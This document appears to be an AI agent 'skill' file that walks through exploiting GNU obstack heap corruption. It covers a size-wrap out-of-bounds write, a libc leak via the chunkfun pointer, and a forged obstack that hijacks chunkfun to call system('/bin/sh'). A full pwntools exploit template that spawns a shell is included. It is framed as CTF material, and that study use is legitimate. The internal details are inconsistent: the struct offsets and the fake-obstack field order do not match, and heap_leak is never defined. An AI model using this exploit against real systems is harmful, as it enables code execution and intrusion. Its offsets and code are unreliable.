abelrguezr/gnu-obstack-exploit

GNU Obstack Function-Pointer Hijacking Exploitation

This skill guides you through exploiting GNU obstack vulnerabilities to achieve arbitrary code execution via function-pointer hijacking.

When to Use This Skill

Use this skill when:

• You're analyzing a binary that uses GNU obstacks (obstack_alloc, obstack_free, etc.)
• You've identified a heap corruption vulnerability affecting obstack structures
• You need to leak libc addresses through allocator function pointers
• You want to hijack chunkfun or freefun for code execution
• You're working on CTF challenges involving heap exploitation and obstacks

Core Concepts

Obstack Structure Layout (glibc 2.42)

struct obstack {
  char *chunk;           // +0x00  Current chunk base
  char *next_free;       // +0x08  Next allocation offset
  char *chunk_limit;     // +0x10  End of current chunk
  long chunk_size;       // +0x18  Current chunk size
  void (*chunkfun)(void *, size_t);  // +0x20  Allocation function
  void (*freefun)(void *, void *);   // +0x28  Free function
  void *extra_arg;       // +0x30  Extra argument for chunkfun
  int use_extra_arg;     // +0x38  Flag: use extra_arg in calls
  // ... additional fields
};

Key offsets for exploitation:

• chunkfun: +0x20 (or +0x38 in some versions)
• freefun: +0x28 (or +0x40 in some versions)
• extra_arg: +0x30
• use_extra_arg: +0x38

The Vulnerability Pattern

GNU obstacks trigger indirect calls through chunkfun when:

1. next_free == chunk_limit (chunk is full)
2. _obstack_newchunk is called to allocate a new chunk
3. The call goes through chunkfun(extra_arg, new_size) or chunkfun(new_size)

If you can corrupt an obstack structure, you control the function pointer.

Attack Recipe

Step 1: Identify the Size_t Desync Primitive

Look for this pattern in the binary:

// Vulnerable: 32-bit register used for multiplication
void *elements = obstack_alloc(obs, sizeof(void *) * size);

When compiled, sizeof(void *) * size may use a 32-bit register:

• size = 0x20000000 → 0x20000000 * 8 = 0x100000000 → wraps to 0x0 in 32-bit
• Result: 0-byte allocation but logical size remains 0x20000000
• Subsequent writes: elements[curr++] = ptr; → 8-byte OOB pointer stores

Detection checklist:

• [ ] Binary uses obstack_alloc with computed sizes
• [ ] Size parameter comes from user input or is controllable
• [ ] Multiplication involves sizeof(void *) or similar
• [ ] 32-bit register used for the multiplication (check with objdump -d)

Step 2: Groom Heap Adjacency

You need two heap objects adjacent in memory:

[Object A: pointer array with OOB write primitive]
[Object B: contains obstack pointer or obstack structure]

Grooming strategy:

1. Allocate Object A (the pointer array with size wrap)
2. Allocate Object B (victim object with obstack pointer)
3. Ensure they're adjacent (may require freeing intermediate chunks)
4. Use OOB write from A to corrupt B

Step 3: Leak libc via chunkfun

The chunkfun field contains a pointer to malloc by default.

Leak procedure:

1. Use OOB write to redirect a victim pointer to the obstack structure
2. Read from offset 0x20 (or 0x38) to get malloc address
3. Calculate: libc_base = malloc_addr - malloc_offset
4. Derive other symbols: system = libc_base + system_offset, binsh = libc_base + binsh_offset

Example leak code:

# After OOB write redirects victim pointer to obstack
libc_leak = read_from_offset(victim_ptr, 0x20)  # chunkfun = malloc
libc_base = libc_leak - libc.symbols['malloc']
print(f"libc_base: {hex(libc_base)}")

Step 4: Forge a Fake Obstack

Create attacker-controlled data that mimics an obstack header:

from pwn import p64

def create_fake_obstack(system_addr, binsh_addr, heap_leak):
    fake = b""
    fake += p64(0x1000)          # chunk_size: large enough
    fake += p64(heap_leak)       # chunk: valid heap address
    fake += p64(heap_leak)       # object_base
    fake += p64(heap_leak)       # next_free: must equal chunk_limit
    fake += p64(heap_leak)       # chunk_limit: same as next_free
    fake += p64(0xF)             # alignment_mask
    fake += p64(0)               # temp
    fake += p64(system_addr)     # chunkfun: system()
    fake += p64(0)               # freefun: unused
    fake += p64(binsh_addr)      # extra_arg: "/bin/sh"
    fake += p64(1)               # use_extra_arg: enable 2-arg call
    return fake

Critical fields:

• next_free == chunk_limit: Forces _obstack_newchunk on next allocation
• chunkfun: Your target function (e.g., system)
• extra_arg: First argument (e.g., "/bin/sh" address)
• use_extra_arg = 1: Selects chunkfun(extra_arg, new_size) call form

Step 5: Trigger the Hijack

1. Overwrite the victim's struct obstack * pointer to point at your fake obstack
2. Trigger any allocation on the victim obstack
3. _obstack_newchunk calls chunkfun(extra_arg, new_size) → system("/bin/sh")

Trigger methods:

• Call obstack_alloc(victim_obs, any_size)
• Call obstack_push(victim_obs, any_data)
• Any operation that requires new chunk allocation

Complete Exploit Template

from pwn import *

# Configuration
binary = './vulnerable_binary'
libc = ELF('./libc.so.6')

# Connect
p = process(binary)  # or remote('target', port)

# Step 1: Trigger size wrap
# Send size = 0x20000000 to create 0-byte allocation with huge logical size
p.sendlineafter(b'size', b'536870912')  # 0x20000000

# Step 2: Groom heap
# Allocate victim object with obstack pointer
p.sendlineafter(b'cmd', b'alloc_victim')

# Step 3: Leak libc
# Use OOB write to redirect pointer, then read chunkfun
p.sendlineafter(b'cmd', b'leak')
libc_leak = u64(p.recvline()[:6].ljust(8, b'\x00'))
libc_base = libc_leak - libc.symbols['malloc']
print(f"[*] libc_base: {hex(libc_base)}")

# Step 4: Create fake obstack
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
fake_obstack = create_fake_obstack(system_addr, binsh_addr, heap_leak)

# Step 5: Overwrite obstack pointer and trigger
p.sendlineafter(b'cmd', b'overwrite')
p.send(fake_obstack)
p.sendlineafter(b'cmd', b'alloc')  # Triggers the hijack

# Get shell
p.interactive()

Debugging Tips

Verify Obstack Offsets

# Check actual offsets in your libc
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep obstack

# Or use gdb
(gdb) p sizeof(struct obstack)
(gdb) p &((struct obstack*)0)->chunkfun

Check for Size Wrap

# Disassemble the vulnerable function
objdump -d binary | grep -A 20 "vulnerable_function"

# Look for SHL EAX (32-bit shift) instead of SHL RAX (64-bit)

Verify Heap Adjacency

# In gdb with pwndbg
heap
vmmap

Common Pitfalls

1. Wrong offsets: Obstruct layout varies by glibc version. Always verify offsets.
2. ASLR: Remember to leak libc before calculating addresses.
3. Canaries: If stack canaries are enabled, you may need to leak them first.
4. PIE: If PIE is enabled, you need to leak the binary base too.
5. Alignment: Obstacks may have alignment requirements. Check alignment_mask.

References

• Flagvent 2025 FV25.08 obstack exploit
• GNU Obstack Documentation
• pwnlib heap exploitation